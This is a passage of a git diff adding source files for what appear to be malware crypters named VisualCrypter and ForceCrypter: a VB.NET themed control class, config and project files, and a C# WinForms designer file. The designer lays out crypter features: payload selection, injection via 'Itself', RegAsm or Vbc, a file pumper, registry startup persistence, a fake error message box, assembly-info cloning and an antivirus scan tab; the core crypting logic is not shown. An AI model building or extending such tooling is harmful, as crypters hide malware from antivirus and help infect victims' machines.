38)), 0, 0, Width, Height) + G.FillRectangle(New SolidBrush(BackColor), 0, 0, Width, Height) + + G.FillRectangle(New SolidBrush(Color.FromArgb(37, 37, 38)), 1, 1, 12, 12) + If _Checked Then + + + Dim check As Image = Image.FromStream(New System.IO.MemoryStream(Convert.FromBase64String("iVBORw0KGgoAAAANSUhEUgAAAAoAAAAICAIAAABPmPnhAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACoSURBVBhXY9DVNcBEfn6BZ86cra9vxCJtZmZ55MjRjx8/zp+/ACRtZWWLLL1w4WKg3I4dOw0NTRgWLlx09uw5JydXiFxVVQ1Q7ubNmxARhi1btgL5hw8fMTExDw4Oe/HixcuXr2Jj4yGqGUxMzLZt2wZUsWvX7nPnzgMZLS1tEDmQNBBbWFgfPHgIKAEE69ath8tBpYEIaNPFi5cuXrxoY2MHl9PVNQAAQIJkMQvayLUAAAAASUVORK5CYII="))) + G.DrawImage(check, New Rectangle(3, 3, check.Width, check.Height)) + G.DrawRectangle(New Pen(Color.FromArgb(0, 112, 204)), 0, 0, 14, 14) + + + Else + G.DrawRectangle(New Pen(Color.FromArgb(153, 153, 153)), 0, 0, 14, 14) + End If + + If State = MouseState.Over Then + G.DrawRectangle(New Pen(Color.FromArgb(0, 112, 204)), 0, 0, 14, 14) + ElseIf State = MouseState.Down Then + ' G.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), New Rectangle(3, 3, 10, 10)) + End If + + G.DrawString(Text, Font, Brushes.White, 20, 1) + End Sub + + Public Sub New() + Me.Size = New Point(16, 16) + End Sub +End Class + +Class VSControlBox + Inherits ThemeControl154 + Private X As Integer + Dim BG As Color + Dim Icons As Color + Dim glow As SolidBrush + + Dim a, c As Integer + + Protected Overrides Sub ColorHook() + Icons = GetColor("Icon") + BG = GetColor("Background") + glow = GetBrush("Glow") + End Sub + + Sub New() + IsAnimated = True + SetColor("Icons", Color.FromArgb(240, 240, 240)) + SetColor("Icon", Color.FromArgb(240, 240, 240)) + SetColor("Background", Color.FromArgb(45, 45, 48)) + SetColor("Glow", Color.FromArgb(240, 240, 240)) + Me.Size = New Size(44, 18) + Me.Anchor = AnchorStyles.Top Or AnchorStyles.Right + End Sub + + Protected Overrides Sub OnMouseMove(e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + X = e.X + Invalidate() + End Sub + + Protected Overrides Sub OnClick(e As System.EventArgs) + MyBase.OnClick(e) + If X <= 22 Then + FindForm.WindowState = FormWindowState.Minimized + Else + FindForm.Close() + End If + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(Color.FromArgb(45, 45, 48)) + G.DrawString("0", New Font("Marlett", 8.25), GetBrush("Icon"), New Point(5, 4)) + G.DrawString("r", New Font("Marlett", 10), GetBrush("Icon"), New Point(24, 5)) + End Sub +End Class \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/app.config b/C# (Crypter Source/VisualCrypter/VisualCrypter/app.config new file mode 100644 index 0000000..3a45e71 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/.vs/ForceCrypterSmall/v15/.suo b/C# (ForceCrypter/ForceCrypterSmall/.vs/ForceCrypterSmall/v15/.suo new file mode 100644 index 0000000..d9b8c19 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/.vs/ForceCrypterSmall/v15/.suo differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/1469902921_lightning.ico b/C# (ForceCrypter/ForceCrypterSmall/1469902921_lightning.ico new file mode 100644 index 0000000..b5719e9 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/1469902921_lightning.ico differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/App.config b/C# (ForceCrypter/ForceCrypterSmall/App.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/ForceCrypterSmall.csproj b/C# (ForceCrypter/ForceCrypterSmall/ForceCrypterSmall.csproj new file mode 100644 index 0000000..cddf7c7 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/ForceCrypterSmall.csproj @@ -0,0 +1,103 @@ + + + + + Debug + AnyCPU + {14028E44-3B0C-491C-BE44-2A271E1B7501} + WinExe + Properties + ForceCrypterSmall + ForceCrypterSmall + v2.0 + 512 + + + + x86 + false + none + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + true + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + Form + + + Form1.cs + + + + + + + + Component + + + Form1.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/Form1.Designer.cs b/C# (ForceCrypter/ForceCrypterSmall/Form1.Designer.cs new file mode 100644 index 0000000..0c589a5 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Form1.Designer.cs @@ -0,0 +1,1102 @@ +namespace ForceCrypterSmall +{ + partial class Form1 + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); + this.nsTheme1 = new NSTheme(); + this.nsControlButton2 = new NSControlButton(); + this.nsControlButton1 = new NSControlButton(); + this.AssemblyTab = new NSTabControl(); + this.MainTab = new System.Windows.Forms.TabPage(); + this.nsGroupBox7 = new NSGroupBox(); + this.rbVbc = new NSRadioButton(); + this.rbRegAsm = new NSRadioButton(); + this.rbItself = new NSRadioButton(); + this.nsGroupBox1 = new NSGroupBox(); + this.btnIcon = new NSButton(); + this.btnPayload = new NSButton(); + this.txtIcon = new NSTextBox(); + this.txtPayload = new NSTextBox(); + this.OptionsTab = new System.Windows.Forms.TabPage(); + this.nsGroupBox6 = new NSGroupBox(); + this.txtMsg = new NSTextBox(); + this.txtMsgTitle = new NSTextBox(); + this.nsLabel19 = new NSLabel(); + this.nsLabel18 = new NSLabel(); + this.cbMsgBox = new NSOnOffBox(); + this.nsGroupBox5 = new NSGroupBox(); + this.nsLabel20 = new NSLabel(); + this.nsLabel11 = new NSLabel(); + this.txtDelay = new NSTextBox(); + this.nsGroupBox3 = new NSGroupBox(); + this.rbRandomBytes = new NSCheckBox(); + this.cbPump = new NSOnOffBox(); + this.nsLabel1 = new NSLabel(); + this.txtPump = new NSTextBox(); + this.nsGroupBox4 = new NSGroupBox(); + this.nsLabel13 = new NSLabel(); + this.txtFName = new NSTextBox(); + this.txtRegKey = new NSTextBox(); + this.nsLabel12 = new NSLabel(); + this.cbStartup = new NSOnOffBox(); + this.txtStartup = new NSTextBox(); + this.nsLabel2 = new NSLabel(); + this.Assembly = new System.Windows.Forms.TabPage(); + this.btnClone = new NSButton(); + this.btnRandomize = new NSButton(); + this.txtTrademark = new NSTextBox(); + this.txtCopyright = new NSTextBox(); + this.txtFVersion = new NSTextBox(); + this.txtVersion = new NSTextBox(); + this.txtProduct = new NSTextBox(); + this.txtCompany = new NSTextBox(); + this.txtDescription = new NSTextBox(); + this.txtTitle = new NSTextBox(); + this.nsLabel10 = new NSLabel(); + this.nsLabel9 = new NSLabel(); + this.nsLabel8 = new NSLabel(); + this.nsLabel7 = new NSLabel(); + this.nsLabel6 = new NSLabel(); + this.nsLabel5 = new NSLabel(); + this.nsLabel4 = new NSLabel(); + this.nsLabel3 = new NSLabel(); + this.Scanner = new System.Windows.Forms.TabPage(); + this.btnScanFile = new NSButton(); + this.listView1 = new System.Windows.Forms.ListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.btnScan = new NSButton(); + this.nsLabel16 = new NSLabel(); + this.txtScanLink = new NSTextBox(); + this.nsLabel15 = new NSLabel(); + this.nsLabel14 = new NSLabel(); + this.txtScanRate = new NSTextBox(); + this.txtScanFile = new NSTextBox(); + this.CryptTab = new System.Windows.Forms.TabPage(); + this.btnCrypt = new NSButton(); + this.richTextBox2 = new System.Windows.Forms.RichTextBox(); + this.nsTheme1.SuspendLayout(); + this.AssemblyTab.SuspendLayout(); + this.MainTab.SuspendLayout(); + this.nsGroupBox7.SuspendLayout(); + this.nsGroupBox1.SuspendLayout(); + this.OptionsTab.SuspendLayout(); + this.nsGroupBox6.SuspendLayout(); + this.nsGroupBox5.SuspendLayout(); + this.nsGroupBox3.SuspendLayout(); + this.nsGroupBox4.SuspendLayout(); + this.Assembly.SuspendLayout(); + this.Scanner.SuspendLayout(); + this.CryptTab.SuspendLayout(); + this.SuspendLayout(); + // + // nsTheme1 + // + this.nsTheme1.AccentOffset = 0; + this.nsTheme1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.nsTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.nsTheme1.Colors = new Bloom[0]; + this.nsTheme1.Controls.Add(this.nsControlButton2); + this.nsTheme1.Controls.Add(this.nsControlButton1); + this.nsTheme1.Controls.Add(this.AssemblyTab); + this.nsTheme1.Customization = ""; + this.nsTheme1.Dock = System.Windows.Forms.DockStyle.Fill; + this.nsTheme1.Font = new System.Drawing.Font("Verdana", 8F); + this.nsTheme1.Image = null; + this.nsTheme1.Location = new System.Drawing.Point(0, 0); + this.nsTheme1.Movable = true; + this.nsTheme1.Name = "nsTheme1"; + this.nsTheme1.NoRounding = false; + this.nsTheme1.Sizable = true; + this.nsTheme1.Size = new System.Drawing.Size(522, 587); + this.nsTheme1.SmartBounds = true; + this.nsTheme1.StartPosition = System.Windows.Forms.FormStartPosition.WindowsDefaultLocation; + this.nsTheme1.TabIndex = 0; + this.nsTheme1.Text = "ForceCrypter"; + this.nsTheme1.TransparencyKey = System.Drawing.Color.Empty; + this.nsTheme1.Transparent = false; + // + // nsControlButton2 + // + this.nsControlButton2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.nsControlButton2.ControlButton = NSControlButton.Button.Minimize; + this.nsControlButton2.Location = new System.Drawing.Point(482, 0); + this.nsControlButton2.Margin = new System.Windows.Forms.Padding(0); + this.nsControlButton2.MaximumSize = new System.Drawing.Size(18, 20); + this.nsControlButton2.MinimumSize = new System.Drawing.Size(18, 20); + this.nsControlButton2.Name = "nsControlButton2"; + this.nsControlButton2.Size = new System.Drawing.Size(18, 20); + this.nsControlButton2.TabIndex = 11; + this.nsControlButton2.Text = "nsControlButton2"; + // + // nsControlButton1 + // + this.nsControlButton1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.nsControlButton1.ControlButton = NSControlButton.Button.Close; + this.nsControlButton1.Location = new System.Drawing.Point(500, 0); + this.nsControlButton1.Margin = new System.Windows.Forms.Padding(0); + this.nsControlButton1.MaximumSize = new System.Drawing.Size(18, 20); + this.nsControlButton1.MinimumSize = new System.Drawing.Size(18, 20); + this.nsControlButton1.Name = "nsControlButton1"; + this.nsControlButton1.Size = new System.Drawing.Size(18, 20); + this.nsControlButton1.TabIndex = 10; + this.nsControlButton1.Text = "nsControlButton1"; + // + // AssemblyTab + // + this.AssemblyTab.Alignment = System.Windows.Forms.TabAlignment.Left; + this.AssemblyTab.Controls.Add(this.MainTab); + this.AssemblyTab.Controls.Add(this.OptionsTab); + this.AssemblyTab.Controls.Add(this.Assembly); + this.AssemblyTab.Controls.Add(this.Scanner); + this.AssemblyTab.Controls.Add(this.CryptTab); + this.AssemblyTab.DrawMode = System.Windows.Forms.TabDrawMode.OwnerDrawFixed; + this.AssemblyTab.ItemSize = new System.Drawing.Size(28, 115); + this.AssemblyTab.Location = new System.Drawing.Point(0, 33); + this.AssemblyTab.Multiline = true; + this.AssemblyTab.Name = "AssemblyTab"; + this.AssemblyTab.SelectedIndex = 0; + this.AssemblyTab.Size = new System.Drawing.Size(522, 551); + this.AssemblyTab.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.AssemblyTab.TabIndex = 0; + // + // MainTab + // + this.MainTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.MainTab.Controls.Add(this.nsGroupBox7); + this.MainTab.Controls.Add(this.nsGroupBox1); + this.MainTab.Location = new System.Drawing.Point(119, 4); + this.MainTab.Name = "MainTab"; + this.MainTab.Padding = new System.Windows.Forms.Padding(3); + this.MainTab.Size = new System.Drawing.Size(399, 543); + this.MainTab.TabIndex = 0; + this.MainTab.Text = "Main"; + // + // nsGroupBox7 + // + this.nsGroupBox7.Controls.Add(this.rbVbc); + this.nsGroupBox7.Controls.Add(this.rbRegAsm); + this.nsGroupBox7.Controls.Add(this.rbItself); + this.nsGroupBox7.DrawSeperator = false; + this.nsGroupBox7.Location = new System.Drawing.Point(6, 107); + this.nsGroupBox7.Name = "nsGroupBox7"; + this.nsGroupBox7.Size = new System.Drawing.Size(216, 144); + this.nsGroupBox7.SubTitle = "Diffrent injection methods"; + this.nsGroupBox7.TabIndex = 10; + this.nsGroupBox7.Text = "nsGroupBox7"; + this.nsGroupBox7.Title = "Injection"; + // + // rbVbc + // + this.rbVbc.Checked = false; + this.rbVbc.Location = new System.Drawing.Point(9, 100); + this.rbVbc.Name = "rbVbc"; + this.rbVbc.Size = new System.Drawing.Size(75, 23); + this.rbVbc.TabIndex = 2; + this.rbVbc.Text = "Vbc"; + // + // rbRegAsm + // + this.rbRegAsm.Checked = false; + this.rbRegAsm.Location = new System.Drawing.Point(7, 70); + this.rbRegAsm.Name = "rbRegAsm"; + this.rbRegAsm.Size = new System.Drawing.Size(75, 23); + this.rbRegAsm.TabIndex = 1; + this.rbRegAsm.Text = "RegAsm"; + // + // rbItself + // + this.rbItself.Checked = true; + this.rbItself.Location = new System.Drawing.Point(7, 40); + this.rbItself.Name = "rbItself"; + this.rbItself.Size = new System.Drawing.Size(75, 23); + this.rbItself.TabIndex = 0; + this.rbItself.Text = "Itself"; + // + // nsGroupBox1 + // + this.nsGroupBox1.Controls.Add(this.btnIcon); + this.nsGroupBox1.Controls.Add(this.btnPayload); + this.nsGroupBox1.Controls.Add(this.txtIcon); + this.nsGroupBox1.Controls.Add(this.txtPayload); + this.nsGroupBox1.DrawSeperator = false; + this.nsGroupBox1.Location = new System.Drawing.Point(6, 6); + this.nsGroupBox1.Name = "nsGroupBox1"; + this.nsGroupBox1.Size = new System.Drawing.Size(385, 95); + this.nsGroupBox1.SubTitle = "Select a file"; + this.nsGroupBox1.TabIndex = 8; + this.nsGroupBox1.Title = "Select"; + // + // btnIcon + // + this.btnIcon.Location = new System.Drawing.Point(346, 64); + this.btnIcon.Name = "btnIcon"; + this.btnIcon.Size = new System.Drawing.Size(34, 23); + this.btnIcon.TabIndex = 11; + this.btnIcon.Text = "..."; + this.btnIcon.Click += new System.EventHandler(this.btnIcon_Click_1); + // + // btnPayload + // + this.btnPayload.Location = new System.Drawing.Point(347, 36); + this.btnPayload.Name = "btnPayload"; + this.btnPayload.Size = new System.Drawing.Size(34, 23); + this.btnPayload.TabIndex = 10; + this.btnPayload.Text = "..."; + this.btnPayload.Click += new System.EventHandler(this.btnPayload_Click); + // + // txtIcon + // + this.txtIcon.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtIcon.Location = new System.Drawing.Point(10, 65); + this.txtIcon.MaxLength = 32767; + this.txtIcon.Multiline = false; + this.txtIcon.Name = "txtIcon"; + this.txtIcon.ReadOnly = false; + this.txtIcon.Size = new System.Drawing.Size(331, 23); + this.txtIcon.TabIndex = 9; + this.txtIcon.Text = "Icon"; + this.txtIcon.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtIcon.UseSystemPasswordChar = false; + // + // txtPayload + // + this.txtPayload.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtPayload.Location = new System.Drawing.Point(10, 36); + this.txtPayload.MaxLength = 32767; + this.txtPayload.Multiline = false; + this.txtPayload.Name = "txtPayload"; + this.txtPayload.ReadOnly = false; + this.txtPayload.Size = new System.Drawing.Size(331, 23); + this.txtPayload.TabIndex = 8; + this.txtPayload.Text = "Payload"; + this.txtPayload.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtPayload.UseSystemPasswordChar = false; + // + // OptionsTab + // + this.OptionsTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.OptionsTab.Controls.Add(this.nsGroupBox6); + this.OptionsTab.Controls.Add(this.nsGroupBox5); + this.OptionsTab.Controls.Add(this.nsGroupBox3); + this.OptionsTab.Controls.Add(this.nsGroupBox4); + this.OptionsTab.Location = new System.Drawing.Point(119, 4); + this.OptionsTab.Name = "OptionsTab"; + this.OptionsTab.Padding = new System.Windows.Forms.Padding(3); + this.OptionsTab.Size = new System.Drawing.Size(399, 543); + this.OptionsTab.TabIndex = 4; + this.OptionsTab.Text = "Options"; + // + // nsGroupBox6 + // + this.nsGroupBox6.Controls.Add(this.txtMsg); + this.nsGroupBox6.Controls.Add(this.txtMsgTitle); + this.nsGroupBox6.Controls.Add(this.nsLabel19); + this.nsGroupBox6.Controls.Add(this.nsLabel18); + this.nsGroupBox6.Controls.Add(this.cbMsgBox); + this.nsGroupBox6.DrawSeperator = false; + this.nsGroupBox6.Location = new System.Drawing.Point(7, 327); + this.nsGroupBox6.Name = "nsGroupBox6"; + this.nsGroupBox6.Size = new System.Drawing.Size(382, 127); + this.nsGroupBox6.SubTitle = "Show a fake error"; + this.nsGroupBox6.TabIndex = 13; + this.nsGroupBox6.Text = "nsGroupBox6"; + this.nsGroupBox6.Title = "Fake MessageBox"; + // + // txtMsg + // + this.txtMsg.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtMsg.Location = new System.Drawing.Point(78, 97); + this.txtMsg.MaxLength = 32767; + this.txtMsg.Multiline = false; + this.txtMsg.Name = "txtMsg"; + this.txtMsg.ReadOnly = false; + this.txtMsg.Size = new System.Drawing.Size(301, 23); + this.txtMsg.TabIndex = 4; + this.txtMsg.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtMsg.UseSystemPasswordChar = false; + // + // txtMsgTitle + // + this.txtMsgTitle.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtMsgTitle.Location = new System.Drawing.Point(78, 67); + this.txtMsgTitle.MaxLength = 32767; + this.txtMsgTitle.Multiline = false; + this.txtMsgTitle.Name = "txtMsgTitle"; + this.txtMsgTitle.ReadOnly = false; + this.txtMsgTitle.Size = new System.Drawing.Size(301, 23); + this.txtMsgTitle.TabIndex = 3; + this.txtMsgTitle.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtMsgTitle.UseSystemPasswordChar = false; + // + // nsLabel19 + // + this.nsLabel19.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel19.Location = new System.Drawing.Point(7, 98); + this.nsLabel19.Name = "nsLabel19"; + this.nsLabel19.Size = new System.Drawing.Size(75, 23); + this.nsLabel19.TabIndex = 2; + this.nsLabel19.Text = "nsLabel19"; + this.nsLabel19.Value1 = "Message"; + this.nsLabel19.Value2 = ":"; + // + // nsLabel18 + // + this.nsLabel18.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel18.Location = new System.Drawing.Point(7, 68); + this.nsLabel18.Name = "nsLabel18"; + this.nsLabel18.Size = new System.Drawing.Size(43, 23); + this.nsLabel18.TabIndex = 1; + this.nsLabel18.Text = "nsLabel18"; + this.nsLabel18.Value1 = "Title"; + this.nsLabel18.Value2 = ":"; + // + // cbMsgBox + // + this.cbMsgBox.Checked = false; + this.cbMsgBox.Location = new System.Drawing.Point(7, 37); + this.cbMsgBox.MaximumSize = new System.Drawing.Size(56, 24); + this.cbMsgBox.MinimumSize = new System.Drawing.Size(56, 24); + this.cbMsgBox.Name = "cbMsgBox"; + this.cbMsgBox.Size = new System.Drawing.Size(56, 24); + this.cbMsgBox.TabIndex = 0; + this.cbMsgBox.Text = "nsOnOffBox1"; + // + // nsGroupBox5 + // + this.nsGroupBox5.Controls.Add(this.nsLabel20); + this.nsGroupBox5.Controls.Add(this.nsLabel11); + this.nsGroupBox5.Controls.Add(this.txtDelay); + this.nsGroupBox5.DrawSeperator = false; + this.nsGroupBox5.Location = new System.Drawing.Point(223, 191); + this.nsGroupBox5.Name = "nsGroupBox5"; + this.nsGroupBox5.Size = new System.Drawing.Size(169, 130); + this.nsGroupBox5.SubTitle = "Options"; + this.nsGroupBox5.TabIndex = 12; + this.nsGroupBox5.Text = "nsGroupBox5"; + this.nsGroupBox5.Title = "Process Options"; + // + // nsLabel20 + // + this.nsLabel20.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel20.Location = new System.Drawing.Point(3, 39); + this.nsLabel20.Name = "nsLabel20"; + this.nsLabel20.Size = new System.Drawing.Size(51, 23); + this.nsLabel20.TabIndex = 2; + this.nsLabel20.Text = "nsLabel20"; + this.nsLabel20.Value1 = "Delay"; + this.nsLabel20.Value2 = ""; + // + // nsLabel11 + // + this.nsLabel11.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel11.Location = new System.Drawing.Point(101, 61); + this.nsLabel11.Name = "nsLabel11"; + this.nsLabel11.Size = new System.Drawing.Size(64, 20); + this.nsLabel11.TabIndex = 1; + this.nsLabel11.Text = "nsLabel11"; + this.nsLabel11.Value1 = "Seconds"; + this.nsLabel11.Value2 = ""; + // + // txtDelay + // + this.txtDelay.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtDelay.Location = new System.Drawing.Point(3, 61); + this.txtDelay.MaxLength = 32767; + this.txtDelay.Multiline = false; + this.txtDelay.Name = "txtDelay"; + this.txtDelay.ReadOnly = false; + this.txtDelay.Size = new System.Drawing.Size(92, 23); + this.txtDelay.TabIndex = 0; + this.txtDelay.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtDelay.UseSystemPasswordChar = false; + // + // nsGroupBox3 + // + this.nsGroupBox3.Controls.Add(this.rbRandomBytes); + this.nsGroupBox3.Controls.Add(this.cbPump); + this.nsGroupBox3.Controls.Add(this.nsLabel1); + this.nsGroupBox3.Controls.Add(this.txtPump); + this.nsGroupBox3.DrawSeperator = false; + this.nsGroupBox3.Location = new System.Drawing.Point(7, 190); + this.nsGroupBox3.Name = "nsGroupBox3"; + this.nsGroupBox3.Size = new System.Drawing.Size(211, 131); + this.nsGroupBox3.SubTitle = "Add size to your file"; + this.nsGroupBox3.TabIndex = 11; + this.nsGroupBox3.Text = "nsGroupBox3"; + this.nsGroupBox3.Title = "Pumper"; + // + // rbRandomBytes + // + this.rbRandomBytes.Checked = false; + this.rbRandomBytes.Location = new System.Drawing.Point(39, 100); + this.rbRandomBytes.Name = "rbRandomBytes"; + this.rbRandomBytes.Size = new System.Drawing.Size(121, 23); + this.rbRandomBytes.TabIndex = 8; + this.rbRandomBytes.Text = "RandomBytes"; + // + // cbPump + // + this.cbPump.Checked = false; + this.cbPump.Location = new System.Drawing.Point(11, 40); + this.cbPump.MaximumSize = new System.Drawing.Size(56, 24); + this.cbPump.MinimumSize = new System.Drawing.Size(56, 24); + this.cbPump.Name = "cbPump"; + this.cbPump.Size = new System.Drawing.Size(56, 24); + this.cbPump.TabIndex = 7; + this.cbPump.Text = "nsOnOffBox1"; + // + // nsLabel1 + // + this.nsLabel1.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel1.Location = new System.Drawing.Point(180, 71); + this.nsLabel1.Name = "nsLabel1"; + this.nsLabel1.Size = new System.Drawing.Size(28, 23); + this.nsLabel1.TabIndex = 5; + this.nsLabel1.Text = "nsLabel1"; + this.nsLabel1.Value1 = "K"; + this.nsLabel1.Value2 = "B"; + // + // txtPump + // + this.txtPump.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtPump.Location = new System.Drawing.Point(10, 71); + this.txtPump.MaxLength = 32767; + this.txtPump.Multiline = false; + this.txtPump.Name = "txtPump"; + this.txtPump.ReadOnly = false; + this.txtPump.Size = new System.Drawing.Size(164, 23); + this.txtPump.TabIndex = 4; + this.txtPump.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtPump.UseSystemPasswordChar = false; + // + // nsGroupBox4 + // + this.nsGroupBox4.Controls.Add(this.nsLabel13); + this.nsGroupBox4.Controls.Add(this.txtFName); + this.nsGroupBox4.Controls.Add(this.txtRegKey); + this.nsGroupBox4.Controls.Add(this.nsLabel12); + this.nsGroupBox4.Controls.Add(this.cbStartup); + this.nsGroupBox4.Controls.Add(this.txtStartup); + this.nsGroupBox4.Controls.Add(this.nsLabel2); + this.nsGroupBox4.DrawSeperator = false; + this.nsGroupBox4.Location = new System.Drawing.Point(6, 6); + this.nsGroupBox4.Name = "nsGroupBox4"; + this.nsGroupBox4.Size = new System.Drawing.Size(387, 178); + this.nsGroupBox4.SubTitle = "Add the file to startup"; + this.nsGroupBox4.TabIndex = 7; + this.nsGroupBox4.Title = "Startup"; + // + // nsLabel13 + // + this.nsLabel13.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel13.Location = new System.Drawing.Point(11, 110); + this.nsLabel13.Name = "nsLabel13"; + this.nsLabel13.Size = new System.Drawing.Size(103, 23); + this.nsLabel13.TabIndex = 15; + this.nsLabel13.Text = "nsLabel13"; + this.nsLabel13.Value1 = "FolderName"; + this.nsLabel13.Value2 = ":"; + // + // txtFName + // + this.txtFName.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtFName.Location = new System.Drawing.Point(120, 111); + this.txtFName.MaxLength = 32767; + this.txtFName.Multiline = false; + this.txtFName.Name = "txtFName"; + this.txtFName.ReadOnly = false; + this.txtFName.Size = new System.Drawing.Size(266, 23); + this.txtFName.TabIndex = 14; + this.txtFName.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtFName.UseSystemPasswordChar = false; + // + // txtRegKey + // + this.txtRegKey.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtRegKey.Location = new System.Drawing.Point(92, 146); + this.txtRegKey.MaxLength = 32767; + this.txtRegKey.Multiline = false; + this.txtRegKey.Name = "txtRegKey"; + this.txtRegKey.ReadOnly = false; + this.txtRegKey.Size = new System.Drawing.Size(294, 23); + this.txtRegKey.TabIndex = 13; + this.txtRegKey.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtRegKey.UseSystemPasswordChar = false; + // + // nsLabel12 + // + this.nsLabel12.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel12.Location = new System.Drawing.Point(11, 146); + this.nsLabel12.Name = "nsLabel12"; + this.nsLabel12.Size = new System.Drawing.Size(75, 23); + this.nsLabel12.TabIndex = 12; + this.nsLabel12.Text = "nsLabel12"; + this.nsLabel12.Value1 = "RegKey"; + this.nsLabel12.Value2 = ":"; + // + // cbStartup + // + this.cbStartup.Checked = false; + this.cbStartup.Location = new System.Drawing.Point(11, 33); + this.cbStartup.MaximumSize = new System.Drawing.Size(56, 24); + this.cbStartup.MinimumSize = new System.Drawing.Size(56, 24); + this.cbStartup.Name = "cbStartup"; + this.cbStartup.Size = new System.Drawing.Size(56, 24); + this.cbStartup.TabIndex = 11; + this.cbStartup.Text = "nsOnOffBox1"; + // + // txtStartup + // + this.txtStartup.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtStartup.Location = new System.Drawing.Point(91, 73); + this.txtStartup.MaxLength = 32767; + this.txtStartup.Multiline = false; + this.txtStartup.Name = "txtStartup"; + this.txtStartup.ReadOnly = false; + this.txtStartup.Size = new System.Drawing.Size(295, 23); + this.txtStartup.TabIndex = 10; + this.txtStartup.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtStartup.UseSystemPasswordChar = false; + // + // nsLabel2 + // + this.nsLabel2.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel2.Location = new System.Drawing.Point(10, 73); + this.nsLabel2.Name = "nsLabel2"; + this.nsLabel2.Size = new System.Drawing.Size(75, 23); + this.nsLabel2.TabIndex = 9; + this.nsLabel2.Text = "nsLabel2"; + this.nsLabel2.Value1 = "FileName"; + this.nsLabel2.Value2 = ":"; + // + // Assembly + // + this.Assembly.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.Assembly.Controls.Add(this.btnClone); + this.Assembly.Controls.Add(this.btnRandomize); + this.Assembly.Controls.Add(this.txtTrademark); + this.Assembly.Controls.Add(this.txtCopyright); + 